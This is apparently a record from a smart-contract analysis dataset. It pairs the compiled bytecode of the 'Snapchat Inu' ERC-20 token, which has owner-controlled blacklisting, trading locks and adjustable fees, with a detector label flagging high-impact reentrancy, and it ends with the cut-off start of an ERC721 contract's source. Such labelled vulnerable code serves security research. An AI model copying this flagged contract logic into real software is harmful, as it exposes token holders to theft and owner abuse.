9b565b610859565b6040516102599190613342565b60405180910390f35b34801561026e57600080fd5b50610277610877565b604051610284919061335d565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af919061355a565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e4c565b6108ac565b6040516102ec9190613342565b60405180910390f35b34801561030157600080fd5b5061030a610985565b604051610317919061355a565b60405180910390f35b34801561032c57600080fd5b5061033561098b565b60405161034291906135cf565b60405180910390f35b34801561035757600080fd5b50610360610994565b60405161036d9190613327565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dbe565b6109ba565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f70565b610aaa565b005b3480156103d457600080fd5b506103dd610b5c565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dbe565b610c2d565b604051610413919061355a565b60405180910390f35b34801561042857600080fd5b50610431610c7e565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f99565b610dd1565b005b34801561046857600080fd5b50610471610e70565b60405161047e919061355a565b60405180910390f35b34801561049357600080fd5b5061049c610e76565b6040516104a99190613327565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f70565b610e9f565b005b3480156104e757600080fd5b506104f0610f51565b6040516104fd919061355a565b60405180910390f35b34801561051257600080fd5b5061051b610f57565b6040516105289190613378565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f99565b610f94565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fc2565b611033565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e9b565b6110ea565b6040516105b79190613342565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dbe565b611108565b6040516105f49190613342565b60405180910390f35b34801561060957600080fd5b50610612611128565b005b34801561062057600080fd5b5061063b60048036038101906106369190612ed7565b611201565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e10565b611361565b604051610671919061355a565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f99565b6113e8565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dbe565b611487565b005b6106d4611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134ba565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081090613894565b915050610764565b5050565b60606040518060400160405280600c81526020017f536e61706368617420496e750000000000000000000000000000000000000000815250905090565b600061086d610866611649565b8484611651565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000662386f26fc10000905090565b60006108b984848461181c565b61097a846108c5611649565b61097585604051806060016040528060288152602001613da160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092b611649565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a19092919063ffffffff16565b611651565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906134ba565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b36906134ba565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9d611649565b73ffffffffffffffffffffffffffffffffffffffff161480610c135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfb611649565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1c57600080fd5b6000479050610c2a81612105565b50565b6000610c77600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612200565b9050919050565b610c86611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dd9611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d906134ba565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea7611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b906134ba565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600581526020017f534e494e55000000000000000000000000000000000000000000000000000000815250905090565b610f9c611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906134ba565b60405180910390fd5b8060188190555050565b61103b611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf906134ba565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110fe6110f7611649565b848461181c565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611169611649565b73ffffffffffffffffffffffffffffffffffffffff1614806111df5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c7611649565b73ffffffffffffffffffffffffffffffffffffffff16145b6111e857600080fd5b60006111f330610c2d565b90506111fe8161226e565b50565b611209611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906134ba565b60405180910390fd5b60005b8383905081101561135b5781600560008686858181106112e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f79190612dbe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061135390613894565b915050611299565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f0611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611474906134ba565b60405180910390fd5b8060178190555050565b61148f611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611513906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115839061341a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b89061353a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611731576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117289061343a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180f919061355a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611883906134fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f39061339a565b60405180910390fd5b6000811161193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906134da565b60405180910390fd5b611947610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b55750611985610e76565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da057601560149054906101000a900460ff16611a44576119d6610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3a906133ba565b60405180910390fd5b5b601654811115611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a80906133fa565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b639061345a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c195760175481611bce84610c2d565b611bd89190613690565b10611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f9061351a565b60405180910390fd5b5b6000611c2430610c2d565b9050600060185482101590506016548210611c3f5760165491505b808015611c57575060158054906101000a900460ff16155b8015611cb15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc95750601560169054906101000a900460ff165b8015611d1f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d755750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9d57611d838261226e565b60004790506000811115611d9b57611d9a47612105565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e475750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efa5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ef95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f08576000905061208f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120765750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561208e57600a54600c81905550600b54600d819055505b5b61209b84848484612566565b50505050565b60008383111582906120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e09190613378565b60405180910390fd5b50600083856120f89190613771565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215560028461259390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612180573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d160028461259390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fc573d6000803e3d6000fd5b5050565b6000600654821115612247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223e906133da565b60405180910390fd5b60006122516125dd565b9050612266818461259390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122f95781602001602082028036833780820191505090505b5090503081600081518110612337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123d957600080fd5b505afa1580156123ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124119190612de7565b8160018151811061244b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611651565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612516959493929190613575565b600060405180830381600087803b15801561253057600080fd5b505af1158015612544573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061257457612573612608565b5b61257f84848461264b565b8061258d5761258c612816565b5b50505050565b60006125d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282a565b905092915050565b60008060006125ea61288d565b91509150612601818361259390919063ffffffff16565b9250505090565b6000600c5414801561261c57506000600d54145b1561262657612649565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265d876128e9565b9550955095509550955095506126bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279c816129f9565b6127a68483612ab6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612803919061355a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128689190613378565b60405180910390fd5b506000838561288091906136e6565b9050809150509392505050565b600080600060065490506000662386f26fc1000090506128bf662386f26fc1000060065461259390919063ffffffff16565b8210156128dc57600654662386f26fc100009350935050506128e5565b81819350935050505b9091565b60008060008060008060008060006129068a600c54600d54612af0565b92509250925060006129166125dd565b905060008060006129298e878787612b86565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a1565b905092915050565b60008082846129aa9190613690565b9050838110156129ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e69061347a565b60405180910390fd5b8091505092915050565b6000612a036125dd565b90506000612a1a8284612c0f90919063ffffffff16565b9050612a6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612acb8260065461295190919063ffffffff16565b600681905550612ae68160075461299b90919063ffffffff16565b6007819055505050565b600080600080612b1c6064612b0e888a612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b466064612b38888b612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b6f82612b61858c61295190919063ffffffff16565b61295190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b9f8589612c0f90919063ffffffff16565b90506000612bb68689612c0f90919063ffffffff16565b90506000612bcd8789612c0f90919063ffffffff16565b90506000612bf682612be8858761295190919063ffffffff16565b61295190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c225760009050612c84565b60008284612c309190613717565b9050828482612c3f91906136e6565b14612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c769061349a565b60405180910390fd5b809150505b92915050565b6000612c9d612c988461360f565b6135ea565b90508083825260208201905082856020860282011115612cbc57600080fd5b60005b85811015612cec5781612cd28882612cf6565b845260208401935060208301925050600181019050612cbf565b5050509392505050565b600081359050612d0581613d5b565b92915050565b600081519050612d1a81613d5b565b92915050565b60008083601f840112612d3257600080fd5b8235905067ffffffffffffffff811115612d4b57600080fd5b602083019150836020820283011115612d6357600080fd5b9250929050565b600082601f830112612d7b57600080fd5b8135612d8b848260208601612c8a565b91505092915050565b600081359050612da381613d72565b92915050565b600081359050612db881613d89565b92915050565b600060208284031215612dd057600080fd5b6000612dde84828501612cf6565b91505092915050565b600060208284031215612df957600080fd5b6000612e0784828501612d0b565b91505092915050565b60008060408385031215612e2357600080fd5b6000612e3185828601612cf6565b9250506020612e4285828601612cf6565b9150509250929050565b600080600060608486031215612e6157600080fd5b6000612e6f86828701612cf6565b9350506020612e8086828701612cf6565b9250506040612e9186828701612da9565b9150509250925092565b60008060408385031215612eae57600080fd5b6000612ebc85828601612cf6565b9250506020612ecd85828601612da9565b9150509250929050565b600080600060408486031215612eec57600080fd5b600084013567ffffffffffffffff811115612f0657600080fd5b612f1286828701612d20565b93509350506020612f2586828701612d94565b9150509250925092565b600060208284031215612f4157600080fd5b600082013567ffffffffffffffff811115612f5b57600080fd5b612f6784828501612d6a565b91505092915050565b600060208284031215612f8257600080fd5b6000612f9084828501612d94565b91505092915050565b600060208284031215612fab57600080fd5b6000612fb984828501612da9565b91505092915050565b60008060008060808587031215612fd857600080fd5b6000612fe687828801612da9565b9450506020612ff787828801612da9565b935050604061300887828801612da9565b925050606061301987828801612da9565b91505092959194509250565b6000613031838361303d565b60208301905092915050565b613046816137a5565b82525050565b613055816137a5565b82525050565b60006130668261364b565b613070818561366e565b935061307b8361363b565b8060005b838110156130ac5781516130938882613025565b975061309e83613661565b92505060018101905061307f565b5085935050505092915050565b6130c2816137b7565b82525050565b6130d1816137fa565b82525050565b6130e08161381e565b82525050565b60006130f182613656565b6130fb818561367f565b935061310b818560208601613830565b6131148161396a565b840191505092915050565b600061312c60238361367f565b91506131378261397b565b604082019050919050565b600061314f603f8361367f565b915061315a826139ca565b604082019050919050565b6000613172602a8361367f565b915061317d82613a19565b604082019050919050565b6000613195601c8361367f565b91506131a082613a68565b602082019050919050565b60006131b860268361367f565b91506131c382613a91565b604082019050919050565b60006131db60228361367f565b91506131e682613ae0565b604082019050919050565b60006131fe60238361367f565b915061320982613b2f565b604082019050919050565b6000613221601b8361367f565b915061322c82613b7e565b602082019050919050565b600061324460218361367f565b915061324f82613ba7565b604082019050919050565b600061326760208361367f565b915061327282613bf6565b602082019050919050565b600061328a60298361367f565b915061329582613c1f565b604082019050919050565b60006132ad60258361367f565b91506132b882613c6e565b604082019050919050565b60006132d060238361367f565b91506132db82613cbd565b604082019050919050565b60006132f360248361367f565b91506132fe82613d0c565b604082019050919050565b613312816137e3565b82525050565b613321816137ed565b82525050565b600060208201905061333c600083018461304c565b92915050565b600060208201905061335760008301846130b9565b92915050565b600060208201905061337260008301846130c8565b92915050565b6000602082019050818103600083015261339281846130e6565b905092915050565b600060208201905081810360008301526133b38161311f565b9050919050565b600060208201905081810360008301526133d381613142565b9050919050565b600060208201905081810360008301526133f381613165565b9050919050565b6000602082019050818103600083015261341381613188565b9050919050565b60006020820190508181036000830152613433816131ab565b9050919050565b60006020820190508181036000830152613453816131ce565b9050919050565b60006020820190508181036000830152613473816131f1565b9050919050565b6000602082019050818103600083015261349381613214565b9050919050565b600060208201905081810360008301526134b381613237565b9050919050565b600060208201905081810360008301526134d38161325a565b9050919050565b600060208201905081810360008301526134f38161327d565b9050919050565b60006020820190508181036000830152613513816132a0565b9050919050565b60006020820190508181036000830152613533816132c3565b9050919050565b60006020820190508181036000830152613553816132e6565b9050919050565b600060208201905061356f6000830184613309565b92915050565b600060a08201905061358a6000830188613309565b61359760208301876130d7565b81810360408301526135a9818661305b565b90506135b8606083018561304c565b6135c56080830184613309565b9695505050505050565b60006020820190506135e46000830184613318565b92915050565b60006135f4613605565b90506136008282613863565b919050565b6000604051905090565b600067ffffffffffffffff82111561362a5761362961393b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061369b826137e3565b91506136a6836137e3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136db576136da6138dd565b5b828201905092915050565b60006136f1826137e3565b91506136fc836137e3565b92508261370c5761370b61390c565b5b828204905092915050565b6000613722826137e3565b915061372d836137e3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613766576137656138dd565b5b828202905092915050565b600061377c826137e3565b9150613787836137e3565b92508282101561379a576137996138dd565b5b828203905092915050565b60006137b0826137c3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138058261380c565b9050919050565b6000613817826137c3565b9050919050565b6000613829826137e3565b9050919050565b60005b8381101561384e578082015181840152602081019050613833565b8381111561385d576000848401525b50505050565b61386c8261396a565b810181811067ffffffffffffffff8211171561388b5761388a61393b565b5b80604052505050565b600061389f826137e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138d2576138d16138dd565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d64816137a5565b8114613d6f57600080fd5b50565b613d7b816137b7565b8114613d8657600080fd5b50565b613d92816137e3565b8114613d9d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e579c4ac48671f4238674120cfb01cf0d5b0b0aa31f5d9ad28d1a3a324c3b86364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
8,351
0x42839fd0c34559D6F11DCd67136e7719bC216F2e
/** *Submitted for verification at Etherscan.io on 2021-12-25 */ pragma solidity ^0.8.0; // SPDX-License-Identifier: MIT /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` 